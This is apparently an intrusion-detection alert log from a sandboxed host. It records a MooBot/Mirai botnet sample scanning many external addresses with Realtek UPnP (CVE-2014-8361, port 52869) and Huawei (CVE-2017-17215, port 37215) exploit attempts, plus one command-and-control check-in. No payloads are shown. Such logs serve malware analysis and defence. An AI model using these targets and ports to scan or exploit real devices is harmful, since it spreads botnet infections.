07/20/24-23:01:20.388966	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60206	52869	192.168.2.13	181.177.254.25
07/20/24-23:01:05.538156	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33962	52869	192.168.2.13	23.86.160.85
07/20/24-23:01:03.948227	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54540	52869	192.168.2.13	163.209.94.25
07/20/24-23:01:36.796105	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36500	37215	192.168.2.13	197.81.163.166
07/20/24-23:01:14.506916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39626	52869	192.168.2.13	122.167.75.170
07/20/24-23:01:15.000888	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58820	37215	192.168.2.13	197.134.23.72
07/20/24-23:01:07.479520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58964	52869	192.168.2.13	80.49.148.206
07/20/24-23:01:04.841989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38290	37215	192.168.2.13	168.182.205.114
07/20/24-23:01:15.114566	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33096	37215	192.168.2.13	41.83.126.46
07/20/24-23:01:05.614910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47088	52869	192.168.2.13	213.249.133.80
07/20/24-23:01:14.512728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33862	52869	192.168.2.13	223.161.169.143
07/20/24-23:01:06.447731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37352	52869	192.168.2.13	13.5.180.251
07/20/24-23:01:22.799665	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50226	37215	192.168.2.13	41.214.221.88
07/20/24-23:01:02.669608	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37176	37215	192.168.2.13	41.119.197.216
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53468	37215	192.168.2.13	197.54.72.125
07/20/24-23:01:14.502469	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56640	52869	192.168.2.13	163.209.94.25
07/20/24-23:01:14.521197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34672	52869	192.168.2.13	17.217.65.15
07/20/24-23:01:14.533279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53132	52869	192.168.2.13	221.82.215.87
07/20/24-23:01:06.662973	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48600	52869	192.168.2.13	125.82.19.196
07/20/24-23:01:02.612616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59616	37215	192.168.2.13	41.104.162.59
07/20/24-23:01:25.416964	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34244	37215	192.168.2.13	123.230.10.211
07/20/24-23:01:12.356775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39062	37215	192.168.2.13	197.71.12.189
07/20/24-23:01:21.675919	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39482	52869	192.168.2.13	84.175.23.63
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54338	37215	192.168.2.13	41.29.132.43
07/20/24-23:01:15.001455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52334	37215	192.168.2.13	157.50.57.98
07/20/24-23:01:36.793382	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40336	37215	192.168.2.13	157.56.121.105
07/20/24-23:00:59.022894	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42034	37215	192.168.2.13	163.150.42.115
07/20/24-23:01:02.685657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32996	37215	192.168.2.13	197.26.157.201
07/20/24-23:01:07.206375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53418	52869	192.168.2.13	47.222.214.79
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35168	37215	192.168.2.13	197.170.236.11
07/20/24-23:00:59.021447	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50040	37215	192.168.2.13	41.186.86.221
07/20/24-23:01:32.252814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60512	37215	192.168.2.13	197.186.203.198
07/20/24-23:00:59.020760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59660	37215	192.168.2.13	114.116.15.132
07/20/24-23:01:36.794115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53560	37215	192.168.2.13	157.22.79.93
07/20/24-23:01:06.121824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40936	52869	192.168.2.13	171.117.89.236
07/20/24-23:01:05.948085	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40854	52869	192.168.2.13	89.84.130.3
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48948	37215	192.168.2.13	197.243.136.112
07/20/24-23:01:36.781974	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37660	37215	192.168.2.13	41.31.98.182
07/20/24-23:02:10.892680	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34326	52869	192.168.2.13	116.119.255.178
07/20/24-23:01:20.573336	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49396	52869	192.168.2.13	141.20.36.175
07/20/24-23:00:59.019482	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32874	37215	192.168.2.13	41.56.118.161
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58000	37215	192.168.2.13	115.177.66.51
07/20/24-23:01:02.595730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43498	37215	192.168.2.13	197.68.211.95
07/20/24-23:01:08.381149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34416	37215	192.168.2.13	41.20.81.160
07/20/24-23:01:08.381149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50570	37215	192.168.2.13	157.98.253.141
07/20/24-23:01:22.810997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40688	37215	192.168.2.13	41.159.214.118
07/20/24-23:01:32.259331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55504	37215	192.168.2.13	41.166.91.253
07/20/24-23:01:36.785490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57676	37215	192.168.2.13	101.124.61.221
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39500	37215	192.168.2.13	60.11.100.175
07/20/24-23:01:22.754723	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41914	37215	192.168.2.13	171.133.173.195
07/20/24-23:01:27.366334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51776	52869	192.168.2.13	46.222.69.48
07/20/24-23:01:14.513708	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38188	52869	192.168.2.13	175.10.79.147
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46596	37215	192.168.2.13	41.160.78.157
07/20/24-23:00:59.020375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44478	37215	192.168.2.13	41.185.235.4
07/20/24-23:01:22.812907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60632	37215	192.168.2.13	41.33.122.169
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52190	37215	192.168.2.13	157.45.209.254
07/20/24-23:01:18.995457	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41456	52869	192.168.2.13	80.102.232.62
07/20/24-23:01:27.359674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43126	52869	192.168.2.13	186.183.79.214
07/20/24-23:01:14.543026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51902	52869	192.168.2.13	24.166.198.46
07/20/24-23:01:14.550730	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54272	52869	192.168.2.13	84.50.117.185
07/20/24-23:01:06.643290	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56782	52869	192.168.2.13	216.194.176.131
07/20/24-23:01:14.517363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33270	52869	192.168.2.13	53.242.30.163
07/20/24-23:01:06.677271	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33434	52869	192.168.2.13	71.95.23.241
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44378	37215	192.168.2.13	41.231.12.12
07/20/24-23:01:08.459273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34076	37215	192.168.2.13	197.48.67.38
07/20/24-23:01:08.419092	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54558	37215	192.168.2.13	41.214.231.94
07/20/24-23:01:07.239221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58620	52869	192.168.2.13	80.21.51.67
07/20/24-23:01:32.206637	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34782	37215	192.168.2.13	197.27.18.240
07/20/24-23:01:32.199687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37458	37215	192.168.2.13	157.111.45.112
07/20/24-23:01:14.544463	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59054	52869	192.168.2.13	178.39.107.192
07/20/24-23:01:36.781974	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48676	37215	192.168.2.13	197.148.108.70
07/20/24-23:01:36.787101	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35164	37215	192.168.2.13	41.44.221.20
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50636	37215	192.168.2.13	157.153.183.158
07/20/24-23:01:02.628234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54026	37215	192.168.2.13	197.146.235.18
07/20/24-23:01:36.781020	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55724	37215	192.168.2.13	41.89.156.202
07/20/24-23:01:27.361024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41334	52869	192.168.2.13	83.133.236.199
07/20/24-23:01:08.455372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59940	37215	192.168.2.13	157.104.42.82
07/20/24-23:01:14.517363	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33822	52869	192.168.2.13	48.113.240.162
07/20/24-23:01:14.513053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46268	52869	192.168.2.13	38.49.123.120
07/20/24-23:01:22.801622	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46990	37215	192.168.2.13	157.212.194.18
07/20/24-23:01:07.245627	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47458	52869	192.168.2.13	110.74.122.205
07/20/24-23:01:05.869040	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52830	52869	192.168.2.13	83.59.61.36
07/20/24-23:01:27.357903	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56302	52869	192.168.2.13	1.125.24.131
07/20/24-23:01:07.548019	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	57820	2466	192.168.2.13	15.235.203.214
07/20/24-23:01:04.597721	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35790	52869	192.168.2.13	27.117.118.67
07/20/24-23:01:27.237698	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53094	37215	192.168.2.13	164.229.75.25
07/20/24-23:01:14.574230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55278	52869	192.168.2.13	107.240.237.92
07/20/24-23:01:12.483169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35264	37215	192.168.2.13	197.54.33.180
07/20/24-23:01:27.353289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40290	52869	192.168.2.13	123.81.251.53
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32890	37215	192.168.2.13	41.184.93.79
07/20/24-23:01:08.407067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41032	37215	192.168.2.13	197.132.136.35
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40660	37215	192.168.2.13	197.178.123.199
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51400	37215	192.168.2.13	197.27.193.119
07/20/24-23:01:06.159043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49820	52869	192.168.2.13	24.166.198.46
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33612	37215	192.168.2.13	157.95.222.179
07/20/24-23:01:12.358719	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40118	37215	192.168.2.13	197.160.206.198
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42844	37215	192.168.2.13	157.126.80.17
07/20/24-23:01:20.436074	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44146	52869	192.168.2.13	188.71.38.105
07/20/24-23:01:06.801747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32898	37215	192.168.2.13	31.136.126.119
07/20/24-23:01:25.443184	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35976	37215	192.168.2.13	41.61.74.227
07/20/24-23:01:02.707801	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41094	37215	192.168.2.13	197.243.107.118
07/20/24-23:01:14.521197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49090	52869	192.168.2.13	68.30.100.71
07/20/24-23:01:14.539077	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34072	52869	192.168.2.13	219.0.14.247
07/20/24-23:01:36.862442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37704	37215	192.168.2.13	139.189.20.44
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49180	37215	192.168.2.13	197.221.137.47
07/20/24-23:01:12.356738	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54774	37215	192.168.2.13	157.196.5.149
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42394	37215	192.168.2.13	98.25.171.48
07/20/24-23:01:14.508164	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34892	52869	192.168.2.13	220.123.4.18
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43008	37215	192.168.2.13	41.178.157.195
07/20/24-23:01:08.449909	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37432	37215	192.168.2.13	157.252.128.8
07/20/24-23:01:14.513053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40922	52869	192.168.2.13	130.206.211.129
07/20/24-23:01:22.736536	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48678	37215	192.168.2.13	157.129.238.209
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57638	37215	192.168.2.13	157.105.107.221
07/20/24-23:01:22.747861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34918	37215	192.168.2.13	157.249.182.246
07/20/24-23:01:25.389524	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49852	37215	192.168.2.13	64.153.153.170
07/20/24-23:01:06.809008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57620	37215	192.168.2.13	157.239.6.221
07/20/24-23:01:22.739029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51600	37215	192.168.2.13	41.197.238.94
07/20/24-23:01:04.892375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47646	37215	192.168.2.13	157.191.77.209
07/20/24-23:01:27.277398	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45178	37215	192.168.2.13	157.165.57.111
07/20/24-23:01:22.810316	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47260	37215	192.168.2.13	130.158.185.94
07/20/24-23:01:25.464927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57332	37215	192.168.2.13	197.63.178.240
07/20/24-23:01:20.475909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49650	52869	192.168.2.13	177.53.116.167
07/20/24-23:01:27.297470	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46934	37215	192.168.2.13	41.173.250.250
07/20/24-23:01:36.850220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47708	37215	192.168.2.13	157.152.158.12
07/20/24-23:01:12.360354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57958	37215	192.168.2.13	157.223.241.149
07/20/24-23:01:14.541501	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59096	52869	192.168.2.13	35.206.55.83
07/20/24-23:01:06.655486	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58990	52869	192.168.2.13	126.183.166.233
07/20/24-23:01:36.780614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43280	37215	192.168.2.13	41.23.159.9
07/20/24-23:01:36.850221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60342	37215	192.168.2.13	41.140.9.88
07/20/24-23:01:22.748660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56826	37215	192.168.2.13	41.231.60.115
07/20/24-23:01:36.793382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45050	37215	192.168.2.13	192.27.160.139
07/20/24-23:01:14.506916	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40280	52869	192.168.2.13	154.157.246.72
07/20/24-23:01:12.543114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39056	37215	192.168.2.13	197.36.185.169
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60336	37215	192.168.2.13	126.40.131.27
07/20/24-23:01:08.407500	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46786	37215	192.168.2.13	197.56.151.249
07/20/24-23:01:14.509825	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50586	52869	192.168.2.13	135.241.25.166
07/20/24-23:01:15.661882	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57180	37215	192.168.2.13	12.173.147.135
07/20/24-23:01:27.360753	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53088	52869	192.168.2.13	182.69.101.91
07/20/24-23:01:22.791883	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36804	37215	192.168.2.13	197.84.148.83
07/20/24-23:01:14.513824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49474	52869	192.168.2.13	183.33.143.75
07/20/24-23:01:14.500846	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43912	52869	192.168.2.13	173.70.195.138
07/20/24-23:01:14.542240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35380	52869	192.168.2.13	71.95.23.241
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43246	37215	192.168.2.13	157.181.19.73
07/20/24-23:01:14.542853	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60938	52869	192.168.2.13	126.183.166.233
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39622	37215	192.168.2.13	197.2.40.4
07/20/24-23:01:36.781255	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38532	37215	192.168.2.13	32.189.105.228
07/20/24-23:01:04.568491	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57152	52869	192.168.2.13	209.200.229.61
07/20/24-23:01:14.530241	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32888	52869	192.168.2.13	13.145.132.17
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33212	37215	192.168.2.13	72.110.150.184
07/20/24-23:01:03.938194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53184	52869	192.168.2.13	47.131.156.7
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42176	37215	192.168.2.13	157.12.16.61
07/20/24-23:01:02.603717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57172	37215	192.168.2.13	157.44.27.109
07/20/24-23:01:20.299062	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38572	52869	192.168.2.13	103.178.1.192
07/20/24-23:01:02.624280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40674	37215	192.168.2.13	41.156.209.55
07/20/24-23:01:14.527257	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43050	52869	192.168.2.13	171.117.89.236
07/20/24-23:01:25.407917	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42148	37215	192.168.2.13	157.206.160.197
07/20/24-23:01:36.850101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32876	37215	192.168.2.13	197.178.196.156
07/20/24-23:01:04.917925	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49820	37215	192.168.2.13	197.201.223.21
07/20/24-23:01:22.745836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51794	37215	192.168.2.13	197.171.102.62
07/20/24-23:01:14.569004	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40858	52869	192.168.2.13	92.60.201.159
07/20/24-23:01:04.447279	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59784	52869	192.168.2.13	193.107.65.164
07/20/24-23:01:14.525496	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48664	52869	192.168.2.13	212.236.125.79
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39774	37215	192.168.2.13	41.96.4.94
07/20/24-23:01:36.780938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34824	37215	192.168.2.13	41.197.147.99
07/20/24-23:01:25.391285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59450	37215	192.168.2.13	41.72.164.118
07/20/24-23:00:59.021511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43748	37215	192.168.2.13	183.18.158.37
07/20/24-23:01:07.257620	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39972	52869	192.168.2.13	158.90.117.175
07/20/24-23:01:36.781139	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47284	37215	192.168.2.13	157.14.209.250
07/20/24-23:01:02.612616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37480	37215	192.168.2.13	157.252.104.249
07/20/24-23:01:02.669609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38878	37215	192.168.2.13	41.66.205.159
07/20/24-23:01:05.597258	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52738	52869	192.168.2.13	64.186.75.249
07/20/24-23:01:03.968570	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38186	52869	192.168.2.13	154.157.246.72
07/20/24-23:01:08.392907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44836	37215	192.168.2.13	157.227.217.207
07/20/24-23:00:59.022098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43002	37215	192.168.2.13	157.180.195.105
